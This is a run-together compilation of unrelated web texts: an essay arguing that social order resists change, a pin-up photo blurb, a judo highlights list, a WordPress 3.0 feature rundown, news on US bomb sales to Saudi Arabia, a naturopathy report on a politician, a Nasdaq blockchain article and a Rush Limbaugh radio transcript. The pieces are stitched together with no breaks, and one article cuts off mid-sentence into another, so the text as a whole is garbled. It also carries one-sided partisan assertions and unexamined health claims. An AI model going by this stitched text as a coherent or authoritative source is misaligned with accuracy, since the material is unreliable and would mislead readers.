Water on a hill will tend to expend its potential energy (due to gravity) and reach the lowest state of potential energy possible. Ergo water flows downhill. Any sort of social order requires an investment of energy and a subsequent increase in complexity (a storing of energy). The social order may or may not be robust, but enough erosion and it will begin to fall apart. You can put a family back together but there is no force of nature (outside human actions) that will do so. It’s is only by the choices of the actors (which may or may not be driven by biology or be conscious) that the family will reunite. That we must expend energy to create or preserve: is a state of order, those things which tend to happen naturally (with no effort or action on the part of the actors) is a state of disorder. Mating may be natural, and there are built in biological mechanisms which make it likely. Mating is not inevitable in the sense that if you put two people of the opposite gender in a room there is no force which would bring them together against their will (agency aside). If you jump off a building you will, without aids, fall. There is nothing as certain or constant as gravity in human society. There are biological, cultural, economic and institutional forces but these are the combination of either individual actions or collective actions (as response to incentives, instincts, biology and habits). To be more precise the most entropic state for humans is a bunch of scattered strangers living completely alone. Humans have a habit of creating social order but there is no guarantee. Let’s take a look at an actual group of strangers living alone to see what true social chaos looks like.
“The Ik are a people of northern Uganda who live at what must be surely the extreme of deprivation and disaster. A largely hunting and gathering people who have in recent times practiced some crop planting, the Ik are not classified as a complex society….They are, nonetheless, a morbidly fascinating case of collapse in which a former, lower level of social complexity has essentially disappeared. Due to drought and disruption by national boundaries of the traditional cycle of movement, the Ik live in such a food- and water-scarce environment that there is absolutely no advantage to reciprocity and social sharing. The Ik, in consequence, display almost nothing of what could be considered societal organization. They are so highly fragmented that most activities, especially subsistence, are pursued individually. Each Ik will spend days or weeks on his or her own, searching for food and water. Sharing is virtually nonexistent. Two siblings or other kin can live side-by-side, one dying of starvation and the other well nourished, without the latter giving the slightest assistance to the other. The family as a social unit has become dysfunctional. Even conjugal pairs don’t form a cooperative unit except for a few specific purposes. Their motivation for marriage or cohabitation is that one person can’t build a house alone. The members of a conjugal pair forage alone, and do not share food. Indeed, their foraging is so independent that if both member happened to be at their residence together it is by accident. Each conjugal compound is stockade against the others. Several compounds together form a village, but this is largely a meaningless occurrence. Villages have no political functions or organization, not even a central meeting place. Children are minimally cared for by their mothers until age three, and then are put out to fend for themselves. This separation is absolute. By age three they are expected to find their own food and shelter, and those that survive do provide for themselves. Children band into age-sets for protection, since adults will steal a child’s food whenever possible. No food sharing occurs within an age-set. Groups of children will forage in agricultural fields, which scares off birds and baboons. This is often given as a reason for having children. Although little is known about how the Ik got to their present situation, there are some indications of former organizational patterns. They possess clan names, although today they have no structural significance. They live in villages, but these no longer have any political meaning.” Tainter, Joseph A, The Collapse of Complex Societies
Unlike the Ik most people at the very least they will tend to congregate, cooperate and organize and in the best circumstances they create civilization (and not without trial, error, a lot of time and a few breakthroughs). That people tend to innately display certain behavior does not mean that they are not increasing order, as there is energy expended both to create and maintain their achievements. The nuclear family may seem like a spontaneous creation of society something that forms on its own, and yet it is a product of complex social arrangements. The nuclear family is not a state of nature for humanity and it does not form in the wild. Human babies while more orderly than the dead plant and animal material that was processed to produce them relative to adults are simple systems. The job of k selected parents in raising a child is to prepare them to integrate into society. The parents must prepare the child, who is by nature downhill from them, to be able to push the ball back up the hill before they depart. Every society is a few steps from chaos, and yet humans have a beautiful capacity to perpetuate themselves and their achievements (both living, abstract and inanimate). The robustness of the nuclear family formation is not the mark of how innate it is, but of the strength of the cultural and institutional forces which induce such arrangements. That civilization took so long to emerge in human history is a sign that it is not the state of nature. It is built upon, reliant on, guided, selected upon and punished by nature but it is not a state of nature.
“The citizens of modern complex societies usually do not realize that we are an anomaly of history. Throughout the several million years that recognizable humans are known to have lived, the common political unit was the small, autonomous community, acting independently, and largely self-sufficient. Robert Carneiro has estimated that 99.8 percent of human history has been dominated by these autonomous local communities…..It has only been with the last 6000 years that something unusual has emerged: the hierarchical, organized, interdependent states that are the major reference for our contemporary political experience.” Tainter, Joseph A, The Collapse of Complex Societies
Understood from the lenses of social order (increasing complexity) and entropy the slippery slope argument is a claim that changing some social arrangement would increase entropy and destroy social order. The direction of the slope is determined by an increase or decrease in social order. A decrease represents a slide down the slope. Establishing that a slope exists is as simple (and complex) as demonstrating that the new state suggested decreases social order. The extraneous factors like biology and economics are features of the local topography that create complexity but fall soundly within the bounds of entropy and order. Economics is the sciences of choices particularly the science of making choices of how to turn the raw unordered resources around us (human capital included) into products for consumption (or to consume more resources to produce more goods). These choices are only relevant in the context of human action and particularly human coordination. There is no economy for a lone man building a house. He may make choices but there is no need to barter for his resources. Every trade made within the market system is a movement of goods towards their most productive ends (from the subjective perspective of the actors involved). Their value may be subjective to the participants, but prices inherit the opportunity cost of other uses. Everything the lone man in the woods makes is wrought from what he can find or make. Like Economics, many biological urges are meaningless outside the context of human society. Even the most basic instinct of reproduction requires that two individuals cooperate and operate in the same space for at least a few minutes. The sum of how actors act on biological urges often makes the difference of whether we have a civilization or chaos. Indeed biology may be guiding factor on the shape of complexity but it cannot be separated from civilization itself. One cannot take the human nature out of human civilization. The majority of economics and biology fall within the context of social order. Both subjects are essential to a sophisticated understanding of society but none-the-less unimportant for the most basic definition of social order. As such while they are important I will avoid discussing both in this post.
When observing a modern western civilization it can be much more challenging to distinguish uphill from down. Yet without so much as the concept of entropy humans have perpetuated increasingly complex forms of society. The forms of organizations that have survived have tended to be both symbiotic with their hosts and capable of being self-constructing. Despite mistakes and circuitous routes humans have found their way up the hill accomplishing things that no one person could predict or even comprehend. We know that most of these organizations were symbiotic by the very fact that when one goes back not too far most people could not have afforded the luxury of maintaining a parasitic system of living. People, not that long ago, would have starved to death or have been killed under a parasitic organization. Often when persuaded of the immediacy of their cause, splintering religious sects would throw away the systems that had sustained them only to have their cause wiped from the face of the earth only to be remembered as a blight that was exterminated. For certain, the slippery slope argument only appeals to those who not only care about tomorrow, but next year and the year after that. At its most basic level it is an appeal to history to not deteriorate our future. Humans in sum naturally work towards something greater. Systems, processes, ideas and technology can long outlast their creators, writers and inventors. For mortals the ability to perpetuate systems for longer than one lifetime allows for systems to be built which can be both tested and applied without the full understanding of the interstitial actors. If a system is dependent not only on the understanding of the actors but their mortality it can only be as complex as the actors understanding of the world but more importantly can only adapt to and incorporate trends and information which can be reasonably observed in a lifetime. The history of the systems which make up the modern world or that made up the world 200 years ago have been selected upon for at least a 100 generations. However slow the accumulation of knowledge has been, it cannot help but dwarf what can be known or at the very least tested within a lifetime. Along the edges of our particular ledge what cavernous pitfalls await us that visible only from the perspective of a few generations? What should frighten us are not the sheer cliffs around us but gentle slopes which allow us to lope unsuspecting to our slaughter.
Even for the most astute or dedicated of researchers they can only work with trends which can be extrapolated from past data. No researcher can predict the unpredictable, events which have never happened before, did happen but were never recorded, or are simply too infrequent to notice a merit from the records. Any actor at a pivotal position in society cannot necessarily predict a change’s interactions with society given the myriad differences between his data and the current state of the cohort. This uncertainty is ever present in human culture. An additional confounding factor to uncertainty is that which we know but we can’t explain. For any given person there a plenty of actions which we complete successfully for which we cannot fully explain why or how we do it. In addition even if we were to systematically attempt to write down what we know, even on a single topic; it would be a limited subset of our total knowledge. Much of our knowledge is highly contextual. That is, it sleeps within our brain until the right moment when it is needed (many times it doesn’t even appear till later at an inappropriate moment). I can tell you a stop sign is red, but I would probably forget to mention it if you asked me to write down all that I know. Scaling up “you know more than you can explain.” to family level. There is plenty that is known but cannot be explained or even consciously thought of as knowledge. To change something consciously is to risk contradicting what one unconsciously “knows” to be true. This is not to say that we are fundamentally limited by uncertainty. Most actions or changes adopted within the lifetime of the average family are risky but to a negligible degree. They make changes based on previous heuristics which afford limited risk. This accumulation of heuristics, formal and informal traditions, and social technology are the foundation of what seems like a completely spontaneously order of raising a family. The order may be emergent, but it is not spontaneous. It emerges from the accumulated knowledge of a population but the knowledge is of the older hard won kind. For this reason when an outsider attempts to change some arrangement, they risk unintended consequences. Arrangements which are superficially similar can yield very different results for reasons which are not readily apparent.
Those who see human society as malleable, if they reason at all, mistake the ease of emergent organization for a general anti-fragility of society. Indeed when relying on hard won social knowledge society is robust. Within a state of “nature” however, humans do not create spontaneous orders of a complexity anywhere approaching modern society. The slippery slope among many things is a valid appeal to the law of unintended consequences. If we don’t know where the cliff is, or for that matter which way the slope is going we probably shouldn’t be wandering around too far. This seems like a paralyzing position for a society, and in and of itself it is. Never the less, without much radicalism or revolution human society still managed to continue to acquire (in the long run) social and material capital. Often given that humanity operates within a complex unknown order it is hard to know which pieces of culture or tradition are foundational or merely a decoration. To remove or tinker with anything, especially from an a priori perspective, risks breaking some part of the system. For this reason robust systems are changed from the heuristics, experience and traditions existing and not ex nihlo. Often working with a society is like doing surgery in the dark. It is probably best to do nothing but if something must be done it is best done in small doses and with plenty of time given to see if there are adverse effects (or improvement). The law of unintended consequences is the simplest and most powerful argument for the slippery slope. That we have done something a way before denotes that it might be difficult to change it partially without bad consequences. Knowing which consequences will come from any given change is not as important as understanding that the results are unpredictable. Society’s robustness is a function of its inherited knowledge, not any innate property of humanity. As long as the systems are functioning and intact they are robust, but play with the rules, incentives or culture and society can quickly spiral out of control. Any self-correction featured in the system is dependent on the system itself and feedback is often much slower than the pace of change. This creates the issue which leads to the contesting of the concept of the slippery slope itself. Consequences to actions often are so far removed in time from the changes that it is difficult to establish cause and effect. To the antagonistic actor this opens up opportunities to continually push changes and accrue none of the blame for the consequences and fall out. Often savvy actors will perpetuate social norms within their own circle while destroying them outside of their circle. The same people who are capable of maintaining symbiotic but costly cultural norms in an antagonistic environment are often the ones creating the antagonism. This lack of introspection is a feature of their ideology. The victims of social decay are often those who needed it the most. Solipsism a sin for which society will pay for dearly.
The lesson of the sheer amount of uncertainty surrounding social order is that the older and more steadfast the norms the more likely it is to be symbiotic and not parasitic. No norm is without cost, and indeed some are very costly, but by the very nature of being perpetuated by successful society they demonstrate that they are likely to provide a net gain for their adopters. Norms exist to serve purposes and they are not random or arbitrary. These purposes are functional and symbiotic with their carriers. Making a slippery slope argument is not a claim which needs proof but a valid tool which should be used as often as possible. To anyone trying to make changes to long running institutions the burden of proof is on them. In order to change a norm one must demonstrate its purpose, its corollary and tertiary effects. That task is honestly nearly impossible. A need for changing society is an extraordinary claim, which requires extraordinary evidence. From the difficulty of the task at hand it is clear society cannot be changed by the conscious decisions of a few actors but needs guidance from the inherited knowledge of generations.
Advertisementsby Sad Man’s Tongue Photographer: Albina Storina Make-up: Elizabeth Volkova Models: Polly Smile and Viacheslav Sollertis
Here is a wonderful photo set made by photographer Albina Storina of Haunted Cathouse out of St Petersburg, Russia, featuring the gorgeous Polly Smile and Viacheslav Sollerti.
We could talk all day about how beautiful Polly Smile is. But this Gorgeous girl from Voronezh, Russia is actually quite the talented fashion designer. Specializing in wedding dresses, corsets and lingerie under her own label “Studio Elegant Arts.” Even the cherry colored jeans in this photo shoot are made by her.
The set evokes some wonderful romanticized images that evoke both days gone by from a vintage era as well as a desire to recreate the day on a personal level with our own loved ones in our own contemporary period. We of course just need an awesome bike to take us on that country road.
While photographer Albina Storina took advantage of the natural light before the rain came, bringing out marvelous colors and imagery, Pin Up Girl Polly Smile steals the show for us, and Viacheslav Sollerti has a few hearts throbbing in the room. Can anyone hear the sighs?
Expect not only to see more of this beautiful Pin Up girl but we hope to also feature some of her talented work and skill off camera as well.
Enjoy today’s gallery to Etta James singing one of our favorite songs ”At Last” https://sadmanstonguerockabillybar.files.wordpress.com/2013/09/etta-james-at-lastmp3hamster-net.mp3Last weekend was the IJF grand prix in Tbilisi, Georgia. This is one of IJF’s mid sized events (still huge) with participants largely from Europe. Of course, these are the elite of Europe’s judo talent pools looking to collect points for the 2016 Olympics.
Day 1 of the action featured women’s -48kg, -52kg and -57kg categories and men’s -60kg and -66kg categories.
The new rules for 2014 seem to be allowing more groundwork and we’ve got GIFs of the 9 best ne waza techniques for you below!
When you’re done that, check out the Top 5 Ippons from Day 1 of the 2014 Judo Grand Slam
#9 The Classic Kesa Gatame
Shikhalizada pins Pliyev of Ukraine in this second round contest of the -66kg weight class. A classic style kesa gatame
#8 Yoko Otoshi/Sumi Gaeshi into yoko shiho gatame
It’s nice to see seamless transitions from standing directly into groundwork. Pliyev of Ukraine rolls right from a wazari score into a pin. Mumonov gives an honest effort to remove himself from the pin, but just like the bug that gets trapped in a spider web, he struggles with everything he’s got at first… slowing dooooown… until he realizes he’s done for.
#7 Crucifix pin
Chintogtokh of Mongolia wastes no time on her downed opponent with a turnover into a tate shiho gatame, transitioning over to yoko and eventually into a crucifix style pin. The entire time she controls Busra Akyol left shoulder causing her to tap.
#6 Bow and Arrow Choke
Yessimbetov of Kazakhstan down by a yuko manages to pull out a nasty bow and arrow choke after nearly getting tossed with an o goshi.
#5 Juji Roll Armbar at mat’s edge
Nataliya Kondratyeva of Russia takes advantage of her opponents back with a juji roll armbar.
#4 Juji Roll Armbar finish with the leg still stuck in half guard
The women’s under 52kg category has got to be one of the most vicious of all. Irina Zabludina of Russia pulls off a beautiful juji roll armbar with her leg still stuck in half guard. This armbar finish came just one match before her teammate, Kondratyeva of the same style. I guess Russia’s been working on this one.
#3 Babamuratova puts on a vicious clock choke
Another vicious -52kg lady,Babamuratova, of Turkmenistan makes the Armenian, Balasanyan, pay for a seoi nage attempt.
#2 Zantaraia hilariously runs from Verde of Italy only to end up choking him for ippon
Zantaraia of the Ukraine is leading the match, in the final seconds he attempts an uchi mata, loses control and runs away from Verde. Verde chases him down, almost gets thrown with seoi nage and ends up being choked by Zantaraia. You can almost hear the cartoon sound effects.
#1 Katinka Szabo of Hungary chokes the hometown favourite, Abashidze unconscious
Watch as Abashidze tries to tap, but the ref isn’t able to stop before Szabo pulls her over and realizes she is unconscious
Another angle
What was your favourite? Post in the comments below!
Didn’t see it? Request it!
Also check out the Top 5 Ippons from Day 1 of the 2014 Judo Grand Slam
AdvertisementsBrian Casel is a web designer and owner of ThemeJam WordPress Themes and CasJam Media. You can follow Brian on his blog at briancasel.com or on Twitter @CasJam.
WordPress has long been known as a dedicated blogging platform, giving users the tools they need to publish their message and interact with readers. However, with the official release of version 3.0, set to drop this month, the platform will be much closer, if not well within the territory of a content management system (CMS).
The list of new features in WordPress 3.0 isn't very long in comparison to previous releases. However, the changes that are coming will certainly have a significant impact, particularly if you use WordPress as a CMS. Here is a rundown of the most important new features arriving in version 3.0.
Let us know in the comments which features of WordPress 3.0 you are most looking forward to.
1. Custom Post Types
By default, WordPress lets you publish two types of content: "Posts" and "Pages." In version 3.0, you can define additional content types with their own attributes. For example, if you're running a WordPress site for a design agency, you might create a custom post type to display portfolio items, another for employee pages, and another for client testimonials. From there, you can customize your theme to better suit each individual post type.
You might even want to turn your WordPress site into something more like Tumblr. This will be easy to do in WordPress 3.0 simply by creating custom post types for Text, Photo, Quote, Link, Chat, Audio, and Video.
Thanks to custom post types, there are many new possibilities for how you use WordPress to publish any sort of content.
2. Menu Management
Menu management is one of the most exciting and talked about features in WordPress 3.0. This feature gives you full control over your site's navigation menus. With an easy drag and drop interface, users can create menus that include any mixture of links to internal pages, external URLs, categories, you name it. Then you can embed these custom menus as a widget wherever your theme allows.
So let's say you're running a site which has several informational pages, plus a blog, featured video posts, and you also want to promote your social media presence. You can customize your main navigation to look something like this:
HOME
BLOG (links to the main blog page)
VIDEOS (links to the video category, or post type)
INFO PAGE
INFO PAGE SUB INFO PAGE
TWITTER (links to your Twitter profile)
FACEBOOK (links to your Facebook Fan Page)
Changing the order, titles, and destination of these links is a piece of cake with menu management in WordPress 3.0.
3. Custom Taxonomies
While this new feature may seem a bit complex to non-developers, it certainly brings WordPress 3.0 closer to a true CMS. Custom taxonomies allow you to create additional pieces of meta information. By default, there are "Categories" and "Tags." Now we can add additional types, with the option of being hierarchical or not.
So what does this mean exactly? Here are some examples of what you can do with custom taxonomies:
Let's say you're a film fanatic and you use your WordPress blog to post reviews and rate new movies. You can create a custom taxonomy for "Rating," then add R, PG-13, PG, G to every review.
Another example would be real estate listing websites. In addition to photos and descriptions, you might use additional taxonomies to provide a list of specs on each property such as asking price, number of bedrooms, year built, etc.
4. New Default Theme: "Twentyten"
Twentyten is the long-overdue default theme packaged with new installations of WordPress 3.0. It features a clean, yet bold design and introduces some nice functionality not found in many themes. Two features built into Twentyten are particularly useful if you're new to WordPress and don't have the coding skills to customize your theme. They are:
Custom Header Image
The Twentyten theme gives you the ability to easily change your site's header image. Packaged with the theme are eight interesting banner images to choose from. You can also upload your own image. This feature isn't limited to the Twentyten theme. It can be activated and included by theme developers as well.
Custom Background Image
Another nifty feature found in Twentyten is the ability to upload your own background image for your site. You can also set a solid background color if you want. While this is likely an easy thing to tweak even for those with only light knowledge of web development, it's certainly useful for those who don't want to get their hands dirty and edit CSS. Again, custom background functionality can be included in other themes as well if activated by the theme developer.
5. Multi-site
You can't discuss WordPress 3.0 without mentioning the new multi-site capabilities. That is, you can manage several different websites (with different domains and/or sub-domains) all with a single installation of WordPress. What was previously known as WordPress MU (Multi-User) is now merged with the core WordPress system in 3.0. Enabling multi-site capabilities likely isn't something for the average user, as it requires some tinkering with the code and configuring server settings. That said, the average user likely isn't interested in having multi-site capabilities.
So who benefits from running a multi-site installation of WordPress? It's perfect if you're running a blog network, or manage a large news organization with many different departments. Perhaps your business has each employee running their own blog with a unique design or even their own domain. These are situations where multi-site functionality can be useful.
What Else?
Here are a few of the minor feature enhancements arriving in WordPress 3.0:
Get Shortlink (with your own domain)
We all know how useful URL shorteners can be, especially for tweeting links. WordPress 2.9 gave you the ability to use the wp.me URL shortener. WordPress 3.0 takes this feature a step further by allowing you to get a shortlink for your post based on your own domain name. For example: http://mashable.com/?post=7127. You don't need to mask your URL with other services like bit.ly. Now you can keep your branding intact when you tweet your links.
Author Templates
New in 3.0 is the ability to create unique author templates. This is great if you're running a multi-author blog and you'd like to apply unique styles or layouts to individual author pages.
Select Username and Password During Installation
Before WordPress 3.0, new installations automatically set your master account to username "admin" with an auto-generated password. Now, you can define these during installation, saving you the hassle of changing them later. It also adds a new layer of security. WordPress sites have been known to be compromised simply because they use the most common username, "admin."
Get the entire list of new features and changes at the official WordPress Codex page for 3.0.
Which feature are you most excited to get your hands on in WordPress 3.0? Let us know in the comments!
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This morning, Human Rights Watch called on the United States to stop selling bombs to Saudi Arabia for use in its air campaign in Yemen, which has killed hundreds of civilians and allegedly violated the laws of war.
The call comes shortly after a new arms deal was announced by the Defense Department, just days after the terrorist attacks in Paris. The $1.29 billion sale is for more than 10,000 advanced air-to-ground munitions, including laser guided bombs and “general purpose” bombs with guidance systems, which have been linked to civilian deaths in Yemen. The United Nations High Commissioner for Human Rights has reported that the eight-month fight against rebel fighters in Yemen has resulted in more than 2,300 civilian deaths, the majority of them from air strikes by the Saudi-led coalition.
“The US government is well aware of the Saudi-led coalition’s indiscriminate air attacks that have killed hundreds of civilians in Yemen since March,” said Joe Stork, Human Rights Watch’s deputy Middle East and North Africa director, in a statement. “Providing the Saudis with more bombs under these circumstances is a recipe for greater civilian deaths, for which the US will be partially responsible.”
Human Rights Watch noted that Pentagon officials have said the United States is playing an active role in coordinating the Saudi-led air operations in Yemen. This cooperation, it said, could make US forces “responsible for possible laws-of-war violations by the coalition.” Stork called on the United States to stop sending bombs to Saudi Arabia until the kingdom investigates the alleged war crimes by coalition warplanes.Updated 14th April 2017
AWeber and MailChimp are two of the most popular email services, each with many thousands of satisfied customers and their own strengths and weaknesses. Although there are others, one of these is probably the best starting point. So how do you decide which email provider is the best for your business — AWeber or MailChimp?
Why you need an email service such as AWeber or MailChimp
Before we look at which is best, MailChimp or AWeber, let’s first of all take a look at why you need an email service like this in the first place.
There are two main reasons:
To send high-quality emails to your audience and measure the results
Email is a very effective and very cheap way of communicating with your customers and prospects. Especially compared with advertising, where you have to pay to reach them every time.
To build an email list
Building an email list is one of the most important things you can do to build your business. Period. The reasons for this are explained elsewhere, for the purpose of this article we’re going to take that as |
, yoga therapy, diet and their immediate effects were clearly evident."
She said, "He is to a large extent detoxified now and his entire system is rejuvenated. His current sugar level is, fasting at 90mg/dI and post prandial at 130mg/dI and his medication has been reduced to only 30 per cent from his medication level at the time of his admission."
The 46-year-old Aam Aadmi Party leader was admitted to the institute, along with his parents, for a 10-day nature cure treatment on March 5. He will be discharged on March 16.
Mr Kejriwal's father suffered from constipation and his mother from diabetes and arthritis.The AAP leader is here, as he battles an internal turmoil in his party that has taken an ugly turn after its founders Prashant Bhushan and Yogendra Yadav were ousted from the Political Affairs Committee, with sting operations adding dramatic elements to the tale.Ms Nandakumar said he has been advised a strong follow up for his lifestyle modification, dietary changes and daily practice of prescribed yogasana, pranayama and Kriya. He has also been advised that lifestyle change is the key to natural health, and he shall live a normal healthy life following the naturopathic way of life.This was second admission for Mr Kejriwal at the naturopathy institute, the first one being in February 2012, along with his then mentor Anna Hazare.It appears that during the past two years Mr Kejriwal could not follow the lifestyle changes that he had learnt here, may be due to his busy schedule, Ms Nandakumar said. "This deviation from natural lifestyle has had its toll and his blood sugar level has shot up to the level of 300mg/dI plus." "We are given to understand that insulin and oral diabetic medications could not stabilise his blood sugar levels at all," she added.Nasdaq OMX Group Inc. has named San Francisco-based startup Chain as its partner for a pilot, announced in May, to test Bitcoin technology for the trading of shares in private companies.
Founded in 2014, Chain provides infrastructure to financial institutions wanting to use the blockchain, which is the technology underlying the digital currency Bitcoin, in their products and services. The blockchain enables entities to digitally transfer money and other assets directly, securely and near instantaneously.
Nasdaq will be testing the blockchain in Nasdaq Private Market, which is a marketplace for pre-IPO trading of shares in private companies; launched in January 2014, it so far has more than 75 clients.
”We are excited about the potential impact of this new endeavor with Chain on the transaction process,” Bob Greifeld, CEO of Nasdaq, said in a statement, adding that the manual process of tracking shares can be overwhelming. “As blockchain technology continues to redefine not only how the exchange sector operates, but the global financial economy as a whole, Nasdaq aims to be at the center of this watershed development,” he said.
The first company whose shares will trade on the blockchain will be Chain itself in the pilot expected to launch later this year.
Managing the shares of private companies has long been an expensive, labor-intensive process involving lots of paper, as well as spreadsheets, lawyers and sometimes filing cabinets or bank vaults. Despite all the expense and effort, a lot of what is represented on those papers is often outdated, as employees are terminated or as they purchase the stock underlying their options.
In recent years, several companies have sprung up to offer software that manages a company’s capitalization table — a record of who owns what in a company -- thereby replacing spreadsheets as well as paper stock certificates, paper options grants and paper convertible notes.
While the blockchain has an obvious advantage over paper for cap table management, it is also superior to software, says Adam Ludwin, Chain CEO. “It currently costs a lot of money to make sure there are no mistakes, even when you’re using [software], because there are human factors involved in the transfer, recording and valuation work around securities.”
The blockchain, in contrast, allows for every transaction to take place securely and be recorded on a public ledger, copies of which are held by computers all around the world and then continuously synced so that each ledger agrees with all the others about when money or assets have been transferred, how much, and which party sent and which received.
Let’s say a private company wanted to use the blockchain to issue shares to employees. It would send each employee a nominal amount of money (a hundred-millionth of a bitcoin), on which would be coded metadata stating how many shares of the company are being transferred along with it. If, later, employees wanted to sell all or part of those shares to an investor, a liquidity company could be created to hold the shares of all employees wanting to sell. They would then transfer their stock shares to that liquidity partner’s wallet, and investors could buy those shares. Each transaction would only move a tiny fraction of bitcoin encoded with the number of shares -- not an amount in bitcoin equal to the value of the shares themselves. If the pilot goes well, the system could be rolled out to more private companies in Nasdaq Private Market and even the public exchange. Ludwin says the grand vision would be to apply it to mergers and acquisitions, to equity and debt, and to domestic and international markets.
Ludwin says another advantage the blockchain has over software is that companies would likely rather trust the blockchain than a third party for maintaining their records: “I think most companies think of themselves as wanting to operate for many, many years. One of the benefits of having this immutable public ledger being the record-keeping mechanism of that is you know it’s not going anywhere. You can trace back every action and activity on the company for a very long time.”
Part of the reason companies may be seeking better ways to manage cap tables is the fact that companies are choosing to stay private longer, even after their valuation has risen past $1 billion. In the late '90s, the median time between first funding for venture-backed firms and their initial public offering ranged from two-and-a-half to just over three years. From 2012 to 2014, it’s hovered around seven years, according to the National Venture Capital Association [pdf], with many well-known firms such as Dropbox, SpaceX and Airbnb choosing to stay private despite valuations of $10 billion or more.
The Nasdaq partnership with Chain is also part of another trend — that of Wall Street beginning to explore the possibilities offered by digital currencies and/or the blockchain. In the first half of this year, several major Wall Street institutions, including Goldman Sachs and the New York Stock Exchange, announced investments in or partnerships with Bitcoin startups. And a number of long-time Wall Street players and financial regulators left their positions to head up or join Bitcoin companies or were named to their boards.My Message to Republicans: Don’t Fall for Media Tricks on Comey
RUSH: You people that voted for Donald Trump, you’re just every day seeing why you did it. I have a message for the Republicans: The last thing you should do is find anything in common with the Democrats on this. The last thing you should do is feel sorry, simpatico. Do not fall for the temptation to join the Democrats in their rants against Trump on this. Here’s the deal, folks. There is no collusion. The Russians did not hack, did not tamper, did not impact the outcome of our election. It’s been established for over nine months, if not longer.
It’s not possible. There is not a single person anywhere in law enforcement, in Congress — there’s nobody officially anywhere — who can show you a syllable of evidence that whatever the Russians did had anything to do with the outcome of the election. There is nothing. And yet, it’s the only thing the Democrats have. They dare not let go of it. It’s the only explanation they have for why Hillary Clinton lost the election — and in that is a tremendous opportunity for the Republicans.
Do you realize what a nothing burger the Democrat Party is? Do you realize the Democrat Party literally has nothing virtuous, positive, uplifting to run on? In all of this, the Democrat Party dares not ask people, “Hey, take a look at us. We got better ideas. Hey, take a look at us. We can fix this.” None of that. The only thing they’ve got is this insane, invisible, nonexistent, so-called connection between the Russians and our election. They have no ideas. They have no optimism. They have no leaders. They have no vision. They are ripe for being smoked for generations! This is the time to move in politically and wipe them out.
BREAK TRANSCRIPT
RUSH: I checked the email during the break. Don’t misunderstand here, folks. I’m not saying the Democrats don’t pose a threat. I’m not… Look, two things here. The Democrats are in deep trouble, electorally. The Democrats are not running the left; the media is. And the media is clearly not inconsequential. Don’t misunderstand. I’m not saying that what’s happening here is obviously to everyone. I’m saying the Republican Party has a golden opportunity here to continue to hammer the nail into the coffin of the Democrat Party.
The media stands in the way, obviously. But I’m just telling you, this kind of irrational hate — this all-consuming hate and derangement, delusion — it isn’t healthy. The majority of the American people do not want their politics, day to day, to be governed by this stuff. If they did, we wouldn’t be living with circumstances as we are now. We’ve got a big row to hoe. I don’t want to be misunderstood. But this instance, this episode that’s happened here, Comey being fired; Trump doing it?
It does not… It is not anything the Democrats or the media are trying to say that it is. It’s justified. I see if you want complain about the timing. It was long overdue. There’s no coup here. There’s no constitutional crisis whatsoever. None of these allegations the Democrats are making about this or the media have any substance whatsoever. Not saying that they can’t make people believe this. I know better than everybody that they can. I just don’t want the Republicans to get sucked into this and start talking and acting like the Democrats are.
And the reason they would do it is why they always do it: a misunderstanding of the public mood, a misunderstanding of thinking that the Democrats and the media represent the majority of thinking in this country. And I’m here to tell you, they don’t. It might be close, but they don’t. That’s part of the trick every day in the media, is to make it look like everything they’re reporting and saying about it and believe represents the vast majority of thinking. And anything that’s not that is extremist, filled with hate, or is racist or nativist or whatever.
And the Republicans have a golden opportunity here if they just don’t fall for this. But you know, the Republicans are part of the establishment too. Some Republicans are. And the enmity that people hold for Trump inside Washington is only ratcheting up. And, in fact, even in that regard, Trump is — you have to say — fearless. They had to know what was gonna happen here. You know what you ought to do? I did this. You need to go read some of the reaction to this within the first five minutes of it.
Within the first five minutes, go read some blogs, conservative blogs. Go read some conservative websites. You know what you’ll find? You’ll find unanimity in support of Trump. Well, not unanimous but it’s overwhelmingly. The case they make is Trump was totally justified. This was long overdue. Comey had long ago ceased behaving appropriately for an FBI director. The immediate analysis was how Trump was justified, quoting Rosenstein over at the Department of Justice, the number two there behind Jeff Sessions.
His memo is explicitly perfect and clear in detailing why this happened. The initial analysis of this was that Trump was home free, had concrete to stand on, not just firm ground. Ten minutes or 15 minutes after the media gets hold of it and totally changes all the narratives, is when people begin reacting to that and not the actual news. What I’m saying is: Don’t react to the media’s coverage of this. React to the actual event. And the actual event, the firing of Comey is entirely, completely justified.
A case can be made for it, as many Democrats have been. There’s hypocrisy galore out there (and I know hypocrisy never sticks to the Democrats). I’ve got a page here of tweets and complaints by Democrats. “Nancy Pelosi Says Comey May Not Be ‘in the Right Job.'” All of this is within the past three months. “Harry Reid: ‘Comey should resign.'” “CNN’s Top Legal Analyst Paul Callan: ‘Time for FBI Chief Comey to Resign.'” “Since the FBI Found that Hillary Clinton Broke the Law, Recommend Charges or Resign,” Change.org.
So, in other words, Comey should go. Wall Street Journal: “Comey Should Resign.” Business Insider: “‘Comey Acted in an Outrageous Way During the Campaign’: Bernie Sanders Suggests FBI Director Should Resign.” ThinkProgress!. This is the Democrat, Hillary Clinton site. ThinkProgress is their place. That’s where Podesta worked. “The Case for Firing Comey.” Podesta’s out there saying that the American people “are getting nauseous at the sound of Comey’s voice.” They’ve been mad at Comey ever since July 5th. Now all of a sudden Trump fires him?
“Uh, uh, uh, uh!”
So I’m saying react to the event, folks — and when you react to the event, you have nothing to defend, you have nothing to feel guilty about, you have nothing to defend Trump over. It’s entirely justified. It’s entirely legitimate. It’s not a coup. It’s not the Saturday Night Massacre. It’s not Nixonian. It’s none of that. It isn’t even close to that. Nixon never fired an FBI director. The only guy that fired an FBI director is who? Anybody know in there? That’d be William Jefferson Clinton, and the FBI director he fired was named Bill Sessions.
And that was such a fiasco, we produced a parody and satire bit about it. Clinton was being urged by the media. Clinton was — and everybody says, “Well, that was then. Didn’t get much news. Sessions should have been fired.” No! It occupied the media for two weeks! It was such a big deal that we did a parody about it, with Clinton dreaming (impression), “Must fire Bill Sessions. Must fire Bill Sessions. Must fire Bill Sessions.” Was dreaming it, because the media was the hammering. “You gotta get rid of Bill Sessions!” I don’t even remember what for.
But the media was demanding that Sessions go, and Clinton finally did it. And there was no talk of a coup, and there was no talk of a constitutional crisis, and there was no talk of anything negative about Clinton. Nixon got rid of Archibald Cox. Archibald Cox was special prosecutor, independent counsel looking into Watergate. He ordered Cox to quit; Cox said, “Screw you! I’m not quitting.” Cox said, “No, I’m not quitting. Screw you.” So Nixon called somebody and said, “Fire Cox.” The guy Nixon called second, refused to fire Cox.
